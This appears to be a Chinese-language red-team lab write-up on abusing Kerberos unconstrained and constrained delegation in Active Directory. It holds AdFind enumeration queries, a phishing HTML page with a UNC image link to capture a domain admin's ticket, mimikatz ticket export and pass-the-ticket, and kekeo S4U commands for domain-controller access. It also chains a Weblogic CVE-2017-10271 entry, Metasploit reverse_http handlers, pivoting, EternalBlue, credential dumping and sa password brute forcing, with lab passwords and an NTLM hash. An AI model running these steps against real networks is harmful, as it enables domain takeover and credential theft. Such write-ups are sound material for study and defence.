1、非约束性委派
2、约束性委派
3、基于资源的约束性委派
委派(Delegation)是指将用户或计算机帐户的权限授予其他用户或计算机帐户,以便它们可以代表原始用户或计算机帐户执行相应的操作。其中,Windows中的委派分为两种类型:非约束委派和约束委派。
非约束委派(Unconstrained Delegation)是指将用户或计算机帐户的所有权限都授予另一个用户或计算机帐户,并且该帐户可以将权限继续委派下去,这样可以导致安全隐患。
意思就是被域控进行非约束委派的域成员主机获得全部权限,并且该可以同样的可以进非约束委派至其他域成员主机
约束委派(Constrained Delegation)是指将用户或计算机帐户的部分权限授予另一个用户或计算机帐户,并限制该帐户只能将授权限委派给特定的服务。这意味着该帐户无法将委派权限向下传递给其他服务,因此更加安全。
总的来说,如果需要在Windows环境中使用委派功能,建议使用约束委派而不是非约束委派,以提高系统和数据的安全性。
原理:
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,
一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户
1、信任此计算机来委派任何服务(域控DC)
2、setspn -U -A priv/test webadmin
判断查询:
查询域内设置了非约束委派的服务账户
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的机器账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
注:如果执行显示如下(域成员主机连接不上域控)
解决:
1、打开注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
将SysvolReady键值更改为1
2、网络问题:网络连接不稳定、DNS服务器配置错误等都可能导致连接失败。
是否能互相ping通,以及webserver DNS配置是否是DC。
3、防火墙或安全软件的阻挡,检查防火墙出入站。
4、权限问题:要查询Active Directory,需要使用具有适当权限的帐户进行身份验证。
方法一、域控与委派机器通讯
主动:配合内网中打印机设备
net use \\webserver #测试网络连接情况
方法二:对域控进行钓鱼
http://192.168.3.31/1.html
诱导管理员访问该页面,达到方法一的效果,及与委派机器通讯
DOCTYPE html>
<html>
<head>
<title>title>
head>
<body>
<img src="file:///\\192.168.3.31\2">
body>
html>
2、导出票据到本地
mimikatz sekurlsa::tickets /export
非约束委派-域成员钓鱼域控窃取票据
3、导入票据到内存
mimikatz kerberos::ptt [0;2d57f4][email protected]
shell dir \\owa2010cn-god\c$ #未导入票据之前显示拒绝访问
"klist purge"和"sekurlsa::tickets purge"都是清空Kerberos票据的命令,但它们针对的目标不同。
"klist purge"是Windows系统自带的一个命令,用于清空当前用户会话(session)中缓存的Kerberos票据。如果其他用户或进程缓存了Kerberos票据,并且这些票据未过期,攻击者仍然可以使用它们来进行攻击。
而"sekurlsa::tickets purge"是Mimikatz工具中的一个命令,用于清空当前会话中缓存的Kerberos票据。与"klist purge"不同的是,该命令可以清空整个会话中的所有Kerberos票据,包括其他用户或进程缓存的票据。这意味着,即使在其他会话中有未过期的票据,攻击者也无法使用这些票据进行横向渗透攻击。
相较于"klist purge"命令,"mimikatz sekurlsa::tickets purge"命令在清空Kerberos票据时更加严格和彻底。
原理:
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,
引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。
利用场景:
如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。
则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,
然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。
1、机器设置仅信任此计算机指定服务-cifs
2、用户设置仅信任此计算机指定服务-cifs
这里搭建环境稍微麻烦一点,
查询机器用户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
1、获取用户的票据
kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"
kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"
2、利用用户票据获取域控票据
kekeo "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa2010cn-god" "exit"
kekeo "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa2010cn-god.god.org" "exit"
mimikatz kerberos::ptt [email protected]@[email protected]
shell dir \\owa2010cn-god.god.org\c$
从外网 Weblogic 打到内网,再到约束委派接管域控
-攻击Weblogic - CVE-2017-10271
这里主要复现约束委派相关内容,初始状态直接上线weblogic
1、CS执行联动MSF
msf ip xxxx
spawn msf
3、MSF监听联动配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport xxxx
run
4、添加路由
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
5、利用模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp //正向连接上线
set rhost 10.10.20.7 //设置连接目标
set rhosts 10.10.20.7 //设置扫描目标
run
上面省略了一些信息收集过程……
判断域环境、域控IP地址
这里得到DC域控ip为10.10.10.8
10.10.20.0网段域内存活主机扫描
msf6 auxiliary(scanner/portscan/tcp) > use 5
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 10.10.20.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445
msf6 auxiliary(scanner/portscan/tcp) > run
收集明文密码、hash值、NTML等信息
meterpreter > load kiwi
meterpreter > creds_all
感觉使用msf的信息探测方面不如cs人性化,漏洞利用方面确实很不错,这里使用AdFind直接session卡退了,于是下面我将会话转移到了cs上
具体是上传一个正向连接的木马,在cs进行主动连接,更方面的利用插件进行内网信息收集
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
这里看到了sqlsesrver用户,也就是说SQLsever账号密码可以利用约束委派
信息收集加口令加漏洞探针:
fscan -h 10.10.10.18
这里是真肝不动了,说下思路
我代理一直测试连接不上……
弱口令 sa/sa爆破
上传后门,执行后门,在Work-7上新建监听器()10.10.10.7),进行提权(使用新建的监听器)
在Work-7上正向连接
connect 10.10.20.18 2222
上线普通用户权限,进行提权抓取明文密码获得sqlserver的密码(域成员账号密码,前面weblogic获得不到明文)
use auxiliary/scanner/mssql/mssql_login
set rhost 10.10.10.18
set PASS_FILE xxx.txt
set USERPASS_FILE xxx.txt
run
后续同上
获取到SqlServer账号密码:sqlserver/Server12345
1、kekeo请求获取sqlserver的TGT:
kekeo "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" "exit"
kekeo "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.redteam.red" "exit"
mimikatz kerberos::ptt [email protected]@[email protected]
dir \\OWA\c$
原本以为一上午就搞定,结果复现了一天 2023-04-05 By whgojp